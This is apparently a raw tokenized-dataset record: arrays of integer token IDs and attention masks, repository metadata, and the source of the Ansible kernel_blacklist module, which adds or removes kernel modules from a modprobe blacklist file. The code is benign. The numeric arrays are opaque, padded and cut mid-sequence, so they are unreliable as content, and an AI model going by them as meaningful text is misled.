652, 365, 9806, 734, 14, 267, 1218, 63, 632, 8, 277, 14, 1972, 12, 27312, 14, 5798, 3841, 63, 6963, 12, 298, 27228, 4900, 401, 1748, 63, 4777, 29, 18, 9, 398, 6484, 275, 1218, 63, 12214, 63, 3885, 63, 5312, 8, 277, 14, 1972, 9, 267, 4652, 275, 6484, 14, 2634, 267, 291, 14, 629, 8, 18, 12, 822, 8, 2634, 430, 267, 291, 14, 10389, 8, 277, 14, 362, 63, 923, 63, 991, 63, 354, 8, 5312, 12, 298, 23601, 3447, 6764, 17507, 2237, 267, 291, 14, 10389, 8, 277, 14, 362, 63, 923, 63, 991, 63, 354, 8, 5312, 12, 298, 3673, 4541, 3447, 6764, 17507, 2237, 339, 347, 511, 63, 475, 63, 1001, 63, 4946, 8, 277, 304, 267, 922, 63, 5312, 63, 1001, 275, 1218, 63, 12214, 63, 3885, 63, 5312, 8, 277, 14, 1972, 680, 475, 63, 1001, 342, 267, 291, 14, 629, 360, 774, 3447, 6764, 17507, 27353, 297, 922, 63, 5312, 63, 1001, 459, 354, 1105, 267, 291, 14, 629, 360, 12214, 63, 3885, 297, 922, 63, 5312, 63, 1001, 459, 5512, 1105, 267, 291, 14, 629, 360, 774, 6484, 367, 8135, 316, 4390, 701, 14869, 4426, 297, 922, 63, 5312, 63, 1001, 459, 1802, 1105, 339, 347, 511, 63, 504, 63, 1001, 63, 1397, 63, 4946, 8, 277, 304, 267, 922, 63, 5312, 63, 1001, 275, 1218, 63, 12214, 63, 3885, 63, 5312, 8, 277, 14, 1972, 680, 475, 63, 1001, 342, 267, 543, 291, 14, 1855, 8, 22210, 1899, 13068, 547, 304, 288, 2876, 13068, 14, 504, 63, 1001, 8, 751, 63, 5312, 63, 1001, 9, 339, 347, 511, 63, 923, 63, 1580, 8, 277, 304, 267, 408, 267, 1379, 626, 1572, 11449, 787, 1006, 6656, 2419, 15861, 27078, 63, 10449, 63, 30407, 63, 998, 334, 475, 5126, 28281, 267, 543, 1572, 11449, 4568, 543, 15690, 436, 2196, 922, 16394, 680, 267, 408, 267, 367, 818, 315, 5070, 14881, 4479, 63, 7823, 63, 20857, 26, 288, 291, 14, 15625, 8, 742, 14881, 4479, 63, 7823, 63, 20857, 59, 632, 2733, 344, 995, 15861, 27078, 63, 10449, 63, 30407, 63, 998, 9, 339, 768, 4639, 272, 347, 664, 63, 923, 63, 991, 63, 354, 8, 5312, 12, 536, 304, 267, 408, 267, 1432, 314, 1572, 315, 314, 3447, 6764, 7927, 1899, 13068, 543, 314, 1627, 536, 14, 267, 982, 949, 4066, 1572, 3495, 12, 2529, 658, 403, 2313, 267, 408, 267, 367, 1572, 315, 6484, 14, 2634, 26, 288, 340, 1572, 14, 354, 508, 536, 26, 355, 372, 1572, 267, 372, 488, 421, 199, 533, 3447, 6764, 7927, 13068, 19530, 774, 8, 12197, 27863, 304, 272, 408, 272, 6496, 367, 3447, 6764, 7927, 13068, 19530, 14, 272, 408, 339, 768, 3744, 272, 347, 18561, 8, 1886, 304, 267, 1613, 8, 13842, 7927, 13068, 19530, 774, 12, 843, 680, 27777, 342, 267, 843, 14, 1972, 275, 17862, 14, 981, 342, 267, 843, 14, 5500, 275, 16047, 342, 339, 347, 511, 63, 362, 63, 5512, 8, 277, 304, 267, 408, 267, 7523, 626, 314, 5687, 3329, 365, 6657, 14202, 3046, 315, 334, 12897, 2397, 2376, 315, 3272, 14, 647, 9, 267, 408, 267, 291, 14, 2947, 8, 1899, 13068, 14, 362, 63, 5512, 360, 12214, 63, 3885, 659, 3447, 6764, 7927, 13068, 19530, 9, 339, 347, 511, 63, 981, 63, 751, 63, 5312, 8, 277, 304, 267, 922, 63, 5312, 275, 2876, 13068, 14, 362, 63, 5512, 360, 12214, 63, 3885 ]
[ 199, 2925, 367, 16317, 63, 3885, 63, 1317, 15, 5312, 63, 5512, 14, 647, 14, 199, 624, 199, 504, 2197, 492, 2197, 12, 6871, 199, 199, 646, 15444, 199, 199, 504, 2518, 63, 10433, 14, 992, 492, 27312, 199, 504, 6474, 14, 992, 492, 18946, 199, 504, 6474, 14, 2219, 14, 15406, 492, 16047, 199, 504, 9872, 14, 10012, 14, 2219, 14, 1176, 63, 1208, 492, 23752, 27863, 199, 504, 9872, 14, 10012, 14, 2219, 14, 15406, 492, 17862, 199, 504, 9872, 14, 12553, 14, 12553, 492, 15861, 27078, 63, 10449, 63, 30407, 63, 998, 12, 2876, 13068, 12, 5574, 5903, 1899, 13068, 547, 199, 199, 504, 2508, 992, 492, 5444, 4541, 7927, 967, 22981, 6979, 199, 504, 2508, 5312, 63, 5512, 492, 5070, 14881, 4479, 63, 7823, 63, 20857, 12, 3447, 6764, 7927, 13068, 19530, 12, 3447, 6764, 7927, 1899, 13068, 421, 199, 533, 3447, 6764, 7927, 1899, 13068, 774, 8, 12197, 27863, 304, 272, 408, 272, 6496, 367, 314, 3537, 3447, 6764, 7927, 1899, 13068, 334, 7764, 4652, 680, 272, 408, 339, 768, 3744, 272, 347, 18561, 8, 1886, 304, 267, 1613, 8, 13842, 7927, 1899, 13068, 774, 12, 843, 680, 27777, 342, 267, 843, 14, 1972, 275, 17862, 14, 981, 342, 339, 347, 511, 63, 2118, 63, 885, 63, 632, 8, 277, 304, 267, 6484, 275, 1218, 63, 12214, 63, 3885, 63, 5312, 8, 277, 14, 1972, 9, 267, 4652, 275, 6484, 14, 2634, 267, 291, 14, 629, 8, 17, 12, 822, 8, 2634, 430, 267, 291, 14, 629, 480, 23601, 401, 4652, 59, 16, 1055, 354, 9, 339, 347, 511, 63, 4941, 63, 12949, 63, 3885, 63, 10403, 8, 277, 304, 267, 5444, 4541, 7927, 967, 22981, 6979, 14, 1462, 14, 981, 8, 1972, 63, 498, 29, 277, 14, 1972, 14, 344, 12, 5223, 29, 549, 680, 2117, 342, 267, 6484, 275, 1218, 63, 12214, 63, 3885, 63, 5312, 8, 277, 14, 1972, 9, 267, 291, 14, 629, 8, 16, 12, 822, 8, 5312, 14, 2634, 430, 339, 347, 511, 63, 6048, 63, 2634, 8, 277, 304, 267, 1218, 63, 632, 8, 277, 14, 1972, 12, 27312, 14, 33, 3383, 649, 12, 298, 23601, 3447, 6764, 17507, 401, 1748, 63, 4777, 29, 16, 9, 267, 327, 3390, 626, 314, 16317, 818, 365, 14721, 306, 642, 365, 25343, 279, 14, 267, 1218, 63, 632, 8, 288, 291, 14, 1972, 12, 27312, 14, 2111, 31223, 12, 298, 3673, 4541, 3447, 6764, 17507, 401, 1748, 63, 4777, 29, 17, 12, 288, 15399, 63, 2083, 29, 2083, 14, 2131, 8, 21948, 14, 11288, 9, 435, 6871, 8, 4899, 4022, 17, 9, 267, 776, 267, 327, 3390, 626, 314, 16630, 818, 365, 440, 23378, 306, 642, 365, 25343, 279, 880, 781, 267, 327, 883, 511, 626, 652, 365, 9806, 734, 14, 267, 1218, 63, 632, 8, 277, 14, 1972, 12, 27312, 14, 5798, 3841, 63, 6963, 12, 298, 27228, 4900, 401, 1748, 63, 4777, 29, 18, 9, 398, 6484, 275, 1218, 63, 12214, 63, 3885, 63, 5312, 8, 277, 14, 1972, 9, 267, 4652, 275, 6484, 14, 2634, 267, 291, 14, 629, 8, 18, 12, 822, 8, 2634, 430, 267, 291, 14, 10389, 8, 277, 14, 362, 63, 923, 63, 991, 63, 354, 8, 5312, 12, 298, 23601, 3447, 6764, 17507, 2237, 267, 291, 14, 10389, 8, 277, 14, 362, 63, 923, 63, 991, 63, 354, 8, 5312, 12, 298, 3673, 4541, 3447, 6764, 17507, 2237, 339, 347, 511, 63, 475, 63, 1001, 63, 4946, 8, 277, 304, 267, 922, 63, 5312, 63, 1001, 275, 1218, 63, 12214, 63, 3885, 63, 5312, 8, 277, 14, 1972, 680, 475, 63, 1001, 342, 267, 291, 14, 629, 360, 774, 3447, 6764, 17507, 27353, 297, 922, 63, 5312, 63, 1001, 459, 354, 1105, 267, 291, 14, 629, 360, 12214, 63, 3885, 297, 922, 63, 5312, 63, 1001, 459, 5512, 1105, 267, 291, 14, 629, 360, 774, 6484, 367, 8135, 316, 4390, 701, 14869, 4426, 297, 922, 63, 5312, 63, 1001, 459, 1802, 1105, 339, 347, 511, 63, 504, 63, 1001, 63, 1397, 63, 4946, 8, 277, 304, 267, 922, 63, 5312, 63, 1001, 275, 1218, 63, 12214, 63, 3885, 63, 5312, 8, 277, 14, 1972, 680, 475, 63, 1001, 342, 267, 543, 291, 14, 1855, 8, 22210, 1899, 13068, 547, 304, 288, 2876, 13068, 14, 504, 63, 1001, 8, 751, 63, 5312, 63, 1001, 9, 339, 347, 511, 63, 923, 63, 1580, 8, 277, 304, 267, 408, 267, 1379, 626, 1572, 11449, 787, 1006, 6656, 2419, 15861, 27078, 63, 10449, 63, 30407, 63, 998, 334, 475, 5126, 28281, 267, 543, 1572, 11449, 4568, 543, 15690, 436, 2196, 922, 16394, 680, 267, 408, 267, 367, 818, 315, 5070, 14881, 4479, 63, 7823, 63, 20857, 26, 288, 291, 14, 15625, 8, 742, 14881, 4479, 63, 7823, 63, 20857, 59, 632, 2733, 344, 995, 15861, 27078, 63, 10449, 63, 30407, 63, 998, 9, 339, 768, 4639, 272, 347, 664, 63, 923, 63, 991, 63, 354, 8, 5312, 12, 536, 304, 267, 408, 267, 1432, 314, 1572, 315, 314, 3447, 6764, 7927, 1899, 13068, 543, 314, 1627, 536, 14, 267, 982, 949, 4066, 1572, 3495, 12, 2529, 658, 403, 2313, 267, 408, 267, 367, 1572, 315, 6484, 14, 2634, 26, 288, 340, 1572, 14, 354, 508, 536, 26, 355, 372, 1572, 267, 372, 488, 421, 199, 533, 3447, 6764, 7927, 13068, 19530, 774, 8, 12197, 27863, 304, 272, 408, 272, 6496, 367, 3447, 6764, 7927, 13068, 19530, 14, 272, 408, 339, 768, 3744, 272, 347, 18561, 8, 1886, 304, 267, 1613, 8, 13842, 7927, 13068, 19530, 774, 12, 843, 680, 27777, 342, 267, 843, 14, 1972, 275, 17862, 14, 981, 342, 267, 843, 14, 5500, 275, 16047, 342, 339, 347, 511, 63, 362, 63, 5512, 8, 277, 304, 267, 408, 267, 7523, 626, 314, 5687, 3329, 365, 6657, 14202, 3046, 315, 334, 12897, 2397, 2376, 315, 3272, 14, 647, 9, 267, 408, 267, 291, 14, 2947, 8, 1899, 13068, 14, 362, 63, 5512, 360, 12214, 63, 3885, 659, 3447, 6764, 7927, 13068, 19530, 9, 339, 347, 511, 63, 981, 63, 751, 63, 5312, 8, 277, 304, 267, 922, 63, 5312, 275, 2876, 13068, 14, 362, 63, 5512, 360, 12214, 63, 3885, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
KimNorgaard/ansible-modules-extras
system/kernel_blacklist.py
153
3807
#!/usr/bin/python # encoding: utf-8 -*- # (c) 2013, Matthias Vogelgesang <matthias.vogelgesang@gmail.com> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. import os import re DOCUMENTATION = ''' --- module: kernel_blacklist author: "Matthias Vogelgesang (@matze)" version_added: 1.4 short_description: Blacklist kernel modules description: - Add or remove kernel modules from blacklist. options: name: required: true description: - Name of kernel module to black- or whitelist. state: required: false default: "present" choices: [ present, absent ] description: - Whether the module should be present in the blacklist or absent. blacklist_file: required: false description: - If specified, use this blacklist file instead of C(/etc/modprobe.d/blacklist-ansible.conf). default: null requirements: [] ''' EXAMPLES = ''' # Blacklist the nouveau driver module - kernel_blacklist: name=nouveau state=present ''' class Blacklist(object): def __init__(self, module, filename): if not os.path.exists(filename): open(filename, 'a').close() self.filename = filename self.module = module def get_pattern(self): return '^blacklist\s*' + self.module + '$' def readlines(self): f = open(self.filename, 'r') lines = f.readlines() f.close() return lines def module_listed(self): lines = self.readlines() pattern = self.get_pattern() for line in lines: stripped = line.strip() if stripped.startswith('#'): continue if re.match(pattern, stripped): return True return False def remove_module(self): lines = self.readlines() pattern = self.get_pattern() f = open(self.filename, 'w') for line in lines: if not re.match(pattern, line.strip()): f.write(line) f.close() def add_module(self): f = open(self.filename, 'a') f.write('blacklist %s\n' % self.module) def main(): module = AnsibleModule( argument_spec=dict( name=dict(required=True), state=dict(required=False, choices=['present', 'absent'], default='present'), blacklist_file=dict(required=False, default=None) ), supports_check_mode=False, ) args = dict(changed=False, failed=False, name=module.params['name'], state=module.params['state']) filename = '/etc/modprobe.d/blacklist-ansible.conf' if module.params['blacklist_file']: filename = module.params['blacklist_file'] blacklist = Blacklist(args['name'], filename) if blacklist.module_listed(): if args['state'] == 'absent': blacklist.remove_module() args['changed'] = True else: if args['state'] == 'present': blacklist.add_module() args['changed'] = True module.exit_json(**args) # import module snippets from ansible.module_utils.basic import * main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 2644, 26, 2774, 13, 24, 1882, 199, 199, 3, 334, 67, 9, 6171, 12, 18619, 273, 2241, 32665, 24920, 3389, 621, 665, 569, 273, 2241, 14, 2392, 24920, 3389, 621, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 646, 747, 199, 646, 295, 421, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 5114, 63, 22126, 199, 2502, 26, 298, 14817, 273, 2241, 32665, 24920, 3389, 621, 8593, 569, 806, 2924, 199, 1023, 63, 3270, 26, 413, 14, 20, 199, 3612, 63, 1802, 26, 30593, 513, 5114, 4621, 199, 1802, 26, 272, 446, 2654, 503, 2813, 5114, 4621, 687, 23180, 14, 199, 1419, 26, 272, 536, 26, 267, 1415, 26, 2549, 267, 1369, 26, 288, 446, 2812, 402, 5114, 859, 370, 12136, 13, 503, 22671, 14, 272, 1174, 26, 267, 1415, 26, 3055, 267, 849, 26, 298, 1881, 2, 267, 3415, 26, 359, 3451, 12, 9552, 1622, 267, 1369, 26, 288, 446, 7480, 314, 859, 1077, 506, 3451, 315, 314, 23180, 503, 9552, 14, 272, 23180, 63, 493, 26, 267, 1415, 26, 3055, 267, 1369, 26, 288, 446, 982, 2013, 12, 675, 642, 23180, 570, 3140, 402, 1598, 445, 29478, 6839, 15, 1494, 15944, 14, 68, 15, 22126, 13, 4853, 14, 2190, 680, 267, 849, 26, 2973, 199, 7538, 26, 942, 199, 2344, 199, 199, 8918, 275, 1449, 199, 3, 30593, 513, 314, 302, 810, 432, 3844, 5253, 859, 199, 13, 5114, 63, 22126, 26, 536, 29, 78, 810, 432, 3844, 1174, 29, 1881, 199, 2344, 421, 199, 533, 30593, 513, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 859, 12, 1788, 304, 267, 340, 440, 747, 14, 515, 14, 2444, 8, 1501, 304, 288, 1551, 8, 1501, 12, 283, 65, 1959, 1600, 342, 398, 291, 14, 1501, 275, 1788, 267, 291, 14, 578, 275, 859, 339, 347, 664, 63, 3401, 8, 277, 304, 267, 372, 14452, 22126, 60, 83, 10223, 435, 291, 14, 578, 435, 25271, 339, 347, 1586, 1278, 8, 277, 304, 267, 289, 275, 1551, 8, 277, 14, 1501, 12, 283, 82, 358, 267, 2385, 275, 289, 14, 9684, 342, 267, 289, 14, 1600, 342, 267, 372, 2385, 339, 347, 859, 63, 15023, 8, 277, 304, 267, 2385, 275, 291, 14, 9684, 342, 267, 3851, 275, 291, 14, 362, 63, 3401, 342, 398, 367, 1004, 315, 2385, 26, 288, 14489, 275, 1004, 14, 1913, 342, 288, 340, 14489, 14, 2460, 7863, 735, 355, 1980, 953, 340, 295, 14, 1431, 8, 3401, 12, 14489, 304, 355, 372, 715, 398, 372, 756, 339, 347, 2813, 63, 578, 8, 277, 304, 267, 2385, 275, 291, 14, 9684, 342, 267, 3851, 275, 291, 14, 362, 63, 3401, 342, 398, 289, 275, 1551, 8, 277, 14, 1501, 12, 283, 87, 358, 398, 367, 1004, 315, 2385, 26, 288, 340, 440, 295, 14, 1431, 8, 3401, 12, 1004, 14, 1913, 5109, 355, 289, 14, 952, 8, 604, 9, 398, 289, 14, 1600, 342, 339, 347, 1050, 63, 578, 8, 277, 304, 267, 289, 275, 1551, 8, 277, 14, 1501, 12, 283, 65, 358, 267, 289, 14, 952, 360, 22126, 450, 83, 60, 78, 7, 450, 291, 14, 578, 9, 421, 199, 318, 2446, 837, 272, 859, 275, 6953, 8, 267, 1423, 63, 1650, 29, 807, 8, 288, 536, 29, 807, 8, 2427, 29, 549, 395, 288, 1174, 29, 807, 8, 2427, 29, 797, 12, 3415, 2968, 1881, 297, 283, 5575, 995, 2432, 849, 534, 1881, 659, 288, 23180, 63, 493, 29, 807, 8, 2427, 29, 797, 12, 849, 29, 403, 9, 267, 2318, 267, 5171, 63, 1074, 63, 632, 29, 797, 12, 272, 776, 339, 1249, 275, 1211, 8, 2489, 29, 797, 12, 3405, 29, 797, 12, 355, 536, 29, 578, 14, 1162, 459, 354, 995, 1174, 29, 578, 14, 1162, 459, 929, 1105, 339, 1788, 275, 1994, 6839, 15, 1494, 15944, 14, 68, 15, 22126, 13, 4853, 14, 2190, 7, 339, 340, 859, 14, 1162, 459, 22126, 63, 493, 2565, 267, 1788, 275, 859, 14, 1162, 459, 22126, 63, 493, 418, 339, 23180, 275, 30593, 513, 8, 589, 459, 354, 995, 1788, 9, 339, 340, 23180, 14, 578, 63, 15023, 837, 267, 340, 1249, 459, 929, 418, 508, 283, 5575, 356, 288, 23180, 14, 2168, 63, 578, 342, 288, 1249, 459, 2489, 418, 275, 715, 272, 587, 26, 267, 340, 1249, 459, 929, 418, 508, 283, 1881, 356, 288, 23180, 14, 525, 63, 578, 342, 288, 1249, 459, 2489, 418, 275, 715, 339, 859, 14, 2224, 63, 1001, 3682, 589, 9, 199, 199, 3, 492, 859, 19484, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 627, 199, 973, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 2644, 26, 2774, 13, 24, 1882, 199, 199, 3, 334, 67, 9, 6171, 12, 18619, 273, 2241, 32665, 24920, 3389, 621, 665, 569, 273, 2241, 14, 2392, 24920, 3389, 621, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 646, 747, 199, 646, 295, 421, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 5114, 63, 22126, 199, 2502, 26, 298, 14817, 273, 2241, 32665, 24920, 3389, 621, 8593, 569, 806, 2924, 199, 1023, 63, 3270, 26, 413, 14, 20, 199, 3612, 63, 1802, 26, 30593, 513, 5114, 4621, 199, 1802, 26, 272, 446, 2654, 503, 2813, 5114, 4621, 687, 23180, 14, 199, 1419, 26, 272, 536, 26, 267, 1415, 26, 2549, 267, 1369, 26, 288, 446, 2812, 402, 5114, 859, 370, 12136, 13, 503, 22671, 14, 272, 1174, 26, 267, 1415, 26, 3055, 267, 849, 26, 298, 1881, 2, 267, 3415, 26, 359, 3451, 12, 9552, 1622, 267, 1369, 26, 288, 446, 7480, 314, 859, 1077, 506, 3451, 315, 314, 23180, 503, 9552, 14, 272, 23180, 63, 493, 26, 267, 1415, 26, 3055, 267, 1369, 26, 288, 446, 982, 2013, 12, 675, 642, 23180, 570, 3140, 402, 1598, 445, 29478, 6839, 15, 1494, 15944, 14, 68, 15, 22126, 13, 4853, 14, 2190, 680, 267, 849, 26, 2973, 199, 7538, 26, 942, 199, 2344, 199, 199, 8918, 275, 1449, 199, 3, 30593, 513, 314, 302, 810, 432, 3844, 5253, 859, 199, 13, 5114, 63, 22126, 26, 536, 29, 78, 810, 432, 3844, 1174, 29, 1881, 199, 2344, 421, 199, 533, 30593, 513, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 859, 12, 1788, 304, 267, 340, 440, 747, 14, 515, 14, 2444, 8, 1501, 304, 288, 1551, 8, 1501, 12, 283, 65, 1959, 1600, 342, 398, 291, 14, 1501, 275, 1788, 267, 291, 14, 578, 275, 859, 339, 347, 664, 63, 3401, 8, 277, 304, 267, 372, 14452, 22126, 60, 83, 10223, 435, 291, 14, 578, 435, 25271, 339, 347, 1586, 1278, 8, 277, 304, 267, 289, 275, 1551, 8, 277, 14, 1501, 12, 283, 82, 358, 267, 2385, 275, 289, 14, 9684, 342, 267, 289, 14, 1600, 342, 267, 372, 2385, 339, 347, 859, 63, 15023, 8, 277, 304, 267, 2385, 275, 291, 14, 9684, 342, 267, 3851, 275, 291, 14, 362, 63, 3401, 342, 398, 367, 1004, 315, 2385, 26, 288, 14489, 275, 1004, 14, 1913, 342, 288, 340, 14489, 14, 2460, 7863, 735, 355, 1980, 953, 340, 295, 14, 1431, 8, 3401, 12, 14489, 304, 355, 372, 715, 398, 372, 756, 339, 347, 2813, 63, 578, 8, 277, 304, 267, 2385, 275, 291, 14, 9684, 342, 267, 3851, 275, 291, 14, 362, 63, 3401, 342, 398, 289, 275, 1551, 8, 277, 14, 1501, 12, 283, 87, 358, 398, 367, 1004, 315, 2385, 26, 288, 340, 440, 295, 14, 1431, 8, 3401, 12, 1004, 14, 1913, 5109, 355, 289, 14, 952, 8, 604, 9, 398, 289, 14, 1600, 342, 339, 347, 1050, 63, 578, 8, 277, 304, 267, 289, 275, 1551, 8, 277, 14, 1501, 12, 283, 65, 358, 267, 289, 14, 952, 360, 22126, 450, 83, 60, 78, 7, 450, 291, 14, 578, 9, 421, 199, 318, 2446, 837, 272, 859, 275, 6953, 8, 267, 1423, 63, 1650, 29, 807, 8, 288, 536, 29, 807, 8, 2427, 29, 549, 395, 288, 1174, 29, 807, 8, 2427, 29, 797, 12, 3415, 2968, 1881, 297, 283, 5575, 995, 2432, 849, 534, 1881, 659, 288, 23180, 63, 493, 29, 807, 8, 2427, 29, 797, 12, 849, 29, 403, 9, 267, 2318, 267, 5171, 63, 1074, 63, 632, 29, 797, 12, 272, 776, 339, 1249, 275, 1211, 8, 2489, 29, 797, 12, 3405, 29, 797, 12, 355, 536, 29, 578, 14, 1162, 459, 354, 995, 1174, 29, 578, 14, 1162, 459, 929, 1105, 339, 1788, 275, 1994, 6839, 15, 1494, 15944, 14, 68, 15, 22126, 13, 4853, 14, 2190, 7, 339, 340, 859, 14, 1162, 459, 22126, 63, 493, 2565, 267, 1788, 275, 859, 14, 1162, 459, 22126, 63, 493, 418, 339, 23180, 275, 30593, 513, 8, 589, 459, 354, 995, 1788, 9, 339, 340, 23180, 14, 578, 63, 15023, 837, 267, 340, 1249, 459, 929, 418, 508, 283, 5575, 356, 288, 23180, 14, 2168, 63, 578, 342, 288, 1249, 459, 2489, 418, 275, 715, 272, 587, 26, 267, 340, 1249, 459, 929, 418, 508, 283, 1881, 356, 288, 23180, 14, 525, 63, 578, 342, 288, 1249, 459, 2489, 418, 275, 715, 339, 859, 14, 2224, 63, 1001, 3682, 589, 9, 199, 199, 3, 492, 859, 19484, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 627, 199, 973, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
